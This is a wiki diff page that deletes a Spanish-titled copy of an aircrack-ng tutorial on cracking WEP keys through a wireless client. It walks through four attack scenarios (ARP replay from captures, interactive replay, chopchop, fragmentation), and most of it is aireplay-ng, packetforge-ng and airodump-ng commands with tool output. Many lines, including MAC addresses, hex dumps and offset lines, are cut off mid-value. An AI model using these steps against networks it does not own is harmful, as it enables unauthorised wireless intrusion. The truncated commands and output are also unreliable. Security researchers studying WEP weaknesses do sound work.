spanish_how_to_crack_wep_via_a_wireless_client
Differences
This shows you the differences between two versions of the page.
Next revision | Previous revision | ||
spanish_how_to_crack_wep_via_a_wireless_client [2007/02/23 23:59] – created spanish | spanish_how_to_crack_wep_via_a_wireless_client [2009/08/14 18:22] (current) – --- mister_x | ||
---|---|---|---|
Line 1: | Line 1: | ||
- | ====== Tutorial: | ||
- | Version: 1.10 January 22, 2007 (Change log is at the end) \\ | ||
- | By: darkAudax \\ | ||
- | \\ | ||
- | File linked to this tutorial: [[http:// | ||
- | ===== Introducción ===== | ||
- | Durante mucho tiempo se discutio como usar una tarjeta wireless para generar paquetes con los aue obtener la clave WEP de un punto de acceso. This tutorial describes four approaches with examples of how to do this. The examples provided are from from real working equipment, not theory. | ||
- | |||
- | The basic idea is to have the wireless client workstation generate data packets with IVs which we can use to crack the WEP key. Normally we have the access point itself generate the data packets with IVs. So why would you need to leverage a wireless client workstation instead of the access point? Here are just a few of the reasons: | ||
- | |||
- | * Some access points max out at 130k unique IVs | ||
- | * Client-to-client controls imposed by some access points | ||
- | * MAC address access controls | ||
- | * Access points which eliminate weak IVs | ||
- | * You can't successfully do a fake association | ||
- | * You are within range of a client but not the access point itself | ||
- | |||
- | I would like to acknowledge and thank the aircrack-ng team for producing such a great robust tool. And also acknowledge the many other people who came up with the ideas and techniques described in this tutorial. | ||
- | |||
- | Please send me any constuctive feedback, positive or negative. | ||
- | |||
- | ===== Solution ===== | ||
- | ====Assumptions used in this tutorial==== | ||
- | |||
- | * You have a wireless card with the same characteristics as the client. IE G and G, A and A. Not a B card and the client has a G card. Etc. | ||
- | * You have airodump-ng installed and fully working. | ||
- | * Your wireless rig is working and can inject packets. | ||
- | * You are physically close enough to the client to send packets to them and receive packets from them. | ||
- | * You have Wireshark installed and working. | ||
- | * You are using the aircrack-ng stable version of 0.7. This is very important since there is a bug in 0.6.2 aireplay-ng which switches -k and -l IP addresses. | ||
- | |||
- | |||
- | ====Equipment used==== | ||
- | |||
- | ===Target client=== | ||
- | Operating system: | ||
- | MAC address: 00: | ||
- | |||
- | ===Access Point=== | ||
- | ESSID: teddy (not that it really matters) \\ | ||
- | MAC address: 00: | ||
- | Channel: 9 | ||
- | |||
- | ===Aircrack-ng System=== | ||
- | Operating System: Linux \\ | ||
- | MAC address: does not matter | ||
- | |||
- | ===Ethernet wired Workstation=== | ||
- | Operation System: Linux \\ | ||
- | MAC address: 00: | ||
- | |||
- | ===Ethernet wired Workstation=== | ||
- | Operation System: Linux \\ | ||
- | MAC address: 00: | ||
- | |||
- | ===Wireless Workstation=== | ||
- | Operation System: Linux \\ | ||
- | MAC address: 00: | ||
- | |||
- | |||
- | ==== Scenarios ==== | ||
- | |||
- | The tutorial covers four scenarios: | ||
- | * Scenario One: Pulling packets from captured data. | ||
- | * Scenario Two: Interactively pulling packets from live communication | ||
- | * Scenario Three: Creating a packet from a chopchop replay attack | ||
- | * Scenario Four: Creating a packet from a fragmentation attack | ||
- | |||
- | Now onto the details... | ||
- | \\ | ||
- | \\ | ||
- | ===Scenario One - Pulling packets from captured data=== | ||
- | |||
- | We are going to use a packet from captured data. Lets say you were running airodump-ng capturing packets to/from the access point and feel there are some arps you can use for injection. | ||
- | |||
- | ARP packets are not the only ones you can use. I focus on these because they are guaranteed to succeed and are the easiest to find in a packet capture. | ||
- | |||
- | First, capture packets going to/from the access point in question. | ||
- | |||
- | airodump-ng --channel 9 --bssid 00: | ||
- | |||
- | You need one or more wireless clients active while you are doing this capture. | ||
- | |||
- | So now the objective is to find an ARP packet coming from the ethernet via the access point to the client. | ||
- | |||
- | Characteristics of the incoming packet we want: | ||
- | * BSSID: access point | ||
- | * Destination MAC: Broadcast (FF: | ||
- | * Source MAC: anything | ||
- | * Packet length: 68 or 86 (68 is typical for arp packets originating from wireless clients. | ||
- | |||
- | Characteristics of the outgoing packet we want: | ||
- | * BSSID: access point | ||
- | * Destination MAC: the source MAC address from the incoming packet meaning the client is responding to it. | ||
- | * Source MAC: MAC address of client | ||
- | * Packet length: 68 or 86 (68 is typical for arp packets originating from wireless clients. | ||
- | |||
- | In simple terms we are looking for an ARP request to the client and a subsequent reply. | ||
- | |||
- | First try Wireshark display filter of: | ||
- | (wlan.bssid == 00: | ||
- | |||
- | This selects packets to/from the access point which have a packet length greater then or equal to 68 and a packet length of less then or equal to 86. | ||
- | |||
- | You will have to change wlan.bssid to the access point MAC adddress and possibly change the frame packet length values to match any local system variations. | ||
- | |||
- | Once you have zeroed in on some possible packets then you can use the following display filter to focus on a particular client: | ||
- | (wlan.bssid == 00: | ||
- | |||
- | Change the wlan.sa value to the particular client you are targeting. | ||
- | |||
- | In simple terms, we are looking for an ARP request and the subsequent reply. | ||
- | |||
- | Here is a summary of what the packets are. The numbers are the packets starting at one. If you view the [[http:// | ||
- | |||
- | * 391 - This is an arp request from a wired workstation to our client being broadcast by the AP. It never gets answered and must have got lost. | ||
- | * 416 - The AP broadcasts the arp request received from the wired workstation. This is a repeat arp request via the AP since the first one (391) was never answered. | ||
- | * 417 - The client sends an arp response via the AP to the wired workstation. | ||
- | * 501 - A wireless workstation sends an arp request to the client via the AP. This packet is really a request to the AP to broadcast the arp request. | ||
- | * 503 - The AP broadcasts the arp request to all the wireless clients. | ||
- | * 504 - The client sends an arp response to wireless workstation via the AP. This packet is really a request to the AP to send the arp response to the wireless workstation | ||
- | * 506 - This is the ARP response being retransmitted from the AP to the wireless workstation. | ||
- | |||
- | The two possible packets to use are 416 or 503. You can try both. Number 503 is better since it will generate two data packets for each one you inject. The two being the reply from the client to the AP and the AP to the wireless workstation. Basically you double your data capture rate. People are always asking how to increase the injection rate, this one technique. | ||
- | |||
- | Once you have found one or more of these pairs then right-click the packets going to the client that you want within Wireshark and " | ||
- | |||
- | Remember that the packets selected are not guaranteed to work. They are just very likely candidates based on observation. You may need to try a few to get things to work. | ||
- | |||
- | Restart your packet capture if it not still going: | ||
- | |||
- | airodump-ng --channel 9 --bssid 00: | ||
- | |||
- | Now use interactive replay in a second separate session: | ||
- | |||
- | aireplay-ng -2 -r dsarprequests.cap ath0 | ||
- | |||
- | You are now sending the ARP requests from your PC to the client directly, not through the access point. | ||
- | |||
- | |||
- | ===Scenario Two - Interactively pulling packets from live communication=== | ||
- | |||
- | In this scenario we are going do the capture and injection in real time. | ||
- | |||
- | First, start capturing packets going to/from the access point in question. | ||
- | |||
- | airodump-ng --channel 9 --bssid 00: | ||
- | |||
- | Now start a separate second session to interactively capture and replay packets: | ||
- | |||
- | aireplay-ng -2 -b 00: | ||
- | |||
- | You will have to change " | ||
- | |||
- | The characteristics of the packet we are trying to select is: | ||
- | * BSSID: access point | ||
- | * Destination MAC: Broadcast (FF: | ||
- | * Source MAC: anything | ||
- | * Direction: from Access Point | ||
- | * Packet length: 68 or 86 (68 is typical for arp packets originating from wireless clients. | ||
- | |||
- | Here is why we use the other values: | ||
- | * -d ff: | ||
- | * -f 1 (means only select packets which are coming from the access point) | ||
- | |||
- | Here is an example of a packet we would select: | ||
- | |||
- | Read 210 packets... | ||
- | | ||
- | Size: 68, FromDS: 1, ToDS: 0 (WEP) | ||
- | | ||
- | | ||
- | Dest. MAC = FF: | ||
- | Source MAC = 00: | ||
- | | ||
- | 0x0000: | ||
- | 0x0010: | ||
- | 0x0020: | ||
- | 0x0030: | ||
- | 0x0040: | ||
- | | ||
- | Use this packet ? | ||
- | |||
- | Remember, you may need to try a few packets to get it work. The ARP must be for a wireless client. Once you are successfully injecting packets, start aircrack-ng to determine the WEP key. | ||
- | |||
- | === Scenario Three - Creating a packet from a chopchop replay attack === | ||
- | |||
- | We first need to generate the xor file. This file gives us the ability to create new encrypted packets for injection. | ||
- | |||
- | You run the following command and select a packet which is a decent size. It has to be larger then the ARP packet we want to create. So pick something like 86 or more bytes. As well we need to determine the IP address of the wireless workstation we are targeting. So pick a packet with a source or destination MAC address of the workstation. The reason for this is will later use tcpdump to look at the decrypted packet and obtain the IP address. | ||
- | |||
- | Run " | ||
- | |||
- | Change the -h to be the MAC address of a client assocated with the AP. You can also do a fake association and use this MAC. It is just simply easier to use a MAC already associated with the AP. | ||
- | |||
- | Although this example is an arp request, as mentioned above, you should try to pick a packet to or from the workstation. | ||
- | |||
- | Size: 86, FromDS: 1, ToDS: 0 (WEP) | ||
- | | ||
- | | ||
- | Dest. MAC = FF: | ||
- | Source MAC = 00: | ||
- | | ||
- | 0x0000: | ||
- | 0x0010: | ||
- | 0x0020: | ||
- | 0x0030: | ||
- | 0x0040: | ||
- | 0x0050: | ||
- | | ||
- | Use this packet ? y | ||
- | | ||
- | Saving chosen packet in replay_src-1231-132955.cap | ||
- | | ||
- | Offset | ||
- | Offset | ||
- | Offset | ||
- | Offset | ||
- | Offset | ||
- | Offset | ||
- | Offset | ||
- | Offset | ||
- | Offset | ||
- | Offset | ||
- | Offset | ||
- | Offset | ||
- | Offset | ||
- | Offset | ||
- | Offset | ||
- | Offset | ||
- | Offset | ||
- | Offset | ||
- | Offset | ||
- | Offset | ||
- | Offset | ||
- | Offset | ||
- | Offset | ||
- | Offset | ||
- | Offset | ||
- | Offset | ||
- | Offset | ||
- | Offset | ||
- | Offset | ||
- | Offset | ||
- | Offset | ||
- | Offset | ||
- | Offset | ||
- | Offset | ||
- | Offset | ||
- | Offset | ||
- | Offset | ||
- | Offset | ||
- | Offset | ||
- | Offset | ||
- | Offset | ||
- | Offset | ||
- | Offset | ||
- | Offset | ||
- | Offset | ||
- | Offset | ||
- | Offset | ||
- | Offset | ||
- | Offset | ||
- | Offset | ||
- | Offset | ||
- | Sent 969 packets, current guess: C5... | ||
- | | ||
- | The AP appears to drop packets shorter than 35 bytes. | ||
- | Enabling standard workaround: ARP header re-creation. | ||
- | | ||
- | Warning: ICV checksum verification FAILED! | ||
- | | ||
- | Saving plaintext in replay_dec-1231-133021.cap | ||
- | Saving keystream in replay_dec-1231-133021.xor | ||
- | | ||
- | Completed in 22s (2.18 bytes/s) | ||
- | |||
- | So look at the decrypted packet with Wireshark or tcpdump to get the IP information you need. See below for an example. In this case, we are ultra lucky and get the IP of the target wireless workstation. You may have to try a few packets to get the IP of wireless workstation. | ||
- | |||
- | tcpdump -n -vvv -e -s0 -r replay_dec-1231-133021.cap | ||
- | reading from file replay_dec-1231-133021.cap, | ||
- | 13: | ||
- | |||
- | Now we have the wireless workstation IP and use the xor file above to create an ARP packet. | ||
- | |||
- | However, So if you are using 0.7.0 (svn test version) then the correct command is: | ||
- | |||
- | packetforge-ng --arp -a 00: | ||
- | |||
- | * -a 00: | ||
- | * -c 00: | ||
- | * -h 00: | ||
- | * -l 192.168.55.109 | ||
- | * -k 192.168.55.51 | ||
- | * -y replay_dec-1231-133021.xor | ||
- | * -j set FromDS bit | ||
- | * -o clear ToDS bit | ||
- | |||
- | The command example below is correct for version 0.6.2 for what we want to do. There was a bug in version 0.6.2 where by -k and -l parameters were reversed. | ||
- | |||
- | packetforge-ng --arp -a 00: | ||
- | |||
- | After creating the packet, use tcpdump to review it from a sanity point of view. See below. | ||
- | |||
- | tcpdump -n -vvv -e -s0 -r arpforge.cap | ||
- | reading from file arpforge.cap, | ||
- | 13: | ||
- | |||
- | Since you are testing against your own AP (you are, right?), then decrypt the packet and ensure it is correct. | ||
- | |||
- | Decrypt the packet: airdecap-ng -e teddy -w <put your WEP key here> arpforge.cap | ||
- | View the decrypted packet: tcpdump -n -r arpforge-dec.cap | ||
- | It should be something like: | ||
- | reading from file arpforge-dec.cap, | ||
- | 16: | ||
- | |||
- | This is good since we know our client is 192.168.55.109 and we wanted an arp request addressed to the client. | ||
- | |||
- | Now inject the packet: | ||
- | |||
- | aireplay-ng -2 -r arpforge.cap ath0 | ||
- | |||
- | At this point, you should be generating data packets via the wireless workstation and can use aircrack-ng in the normal manner to crack the WEP key. | ||
- | |||
- | |||
- | ===Scenario Four: Creating a packet from a fragmentation attack=== | ||
- | |||
- | The fragmentation replay attack is basically the same as chopchop. | ||
- | |||
- | First, you either have to use a MAC address from a client which is already associated with the AP or do fake authentication. | ||
- | |||
- | One of the challenges is determining what IP to use in the " | ||
- | |||
- | Having said that, there is a trick which works on most APs. Just use an IP of 255.255.255.255. | ||
- | |||
- | There are some hardware constraints for the fragmentation attack: | ||
- | * It does not support prism chipsets | ||
- | * Atheros chipsets: | ||
- | * It does work smoothly with ralink and realtek chipsets. | ||
- | * Keep an eye on the forms for more compatibility information. | ||
- | |||
- | Here is the command to run: | ||
- | |||
- | aireplay-ng -5 -b 00: | ||
- | |||
- | Waiting for a data packet... | ||
- | | ||
- | Size: 144, FromDS: 1, ToDS: 0 (WEP) | ||
- | | ||
- | | ||
- | Dest. MAC = 00: | ||
- | Source MAC = 00: | ||
- | | ||
- | 0x0000: | ||
- | 0x0010: | ||
- | 0x0020: | ||
- | 0x0030: | ||
- | 0x0040: | ||
- | 0x0050: | ||
- | 0x0060: | ||
- | 0x0070: | ||
- | 0x0080: | ||
- | | ||
- | Use this packet ? | ||
- | |||
- | You answer " | ||
- | |||
- | Saving chosen packet in replay_src-0113-170504.cap | ||
- | Data packet found! | ||
- | Sending fragmented packet | ||
- | Got RELAYED packet!! | ||
- | Thats our ARP packet! | ||
- | Trying to get 384 bytes of a keystream | ||
- | Got RELAYED packet!! | ||
- | Thats our ARP packet! | ||
- | Trying to get 1500 bytes of a keystream | ||
- | Got RELAYED packet!! | ||
- | Thats our ARP packet! | ||
- | Saving keystream in fragment-0113-170526.xor | ||
- | Now you can build a packet with packetforge-ng out of that 1500 bytes keystream | ||
- | |||
- | Bingo! | ||
- | |||
- | From here, it is identical to the chopchop approach. The big challenge is knowing the IP addresses to use. As mentioned above, you need to be innovative. | ||
- | |||
- | |||
- | |||
- | =====Change Log ===== | ||
- | |||
- | January 22/2007 v1.10: | ||
- | * Updated to reflect the release of aircrack-ng v0.7 | ||
- | \\ | ||
- | January 13/2007 v1.01 | ||
- | * Corrected typos. | ||
- | * Reworked arp examples with more specifics and sample capture. | ||
- | * Rewrote parts of the tutorial to make it clearer. | ||
- | * Section on fragmentation attack updated to reflect the current program functionality. | ||
- | \\ | ||
- | January 1/2007 v1.00 | ||
- | * Initial Release |
spanish_how_to_crack_wep_via_a_wireless_client.1172271542.txt.gz · Last modified: 2007/02/23 23:58 (external edit)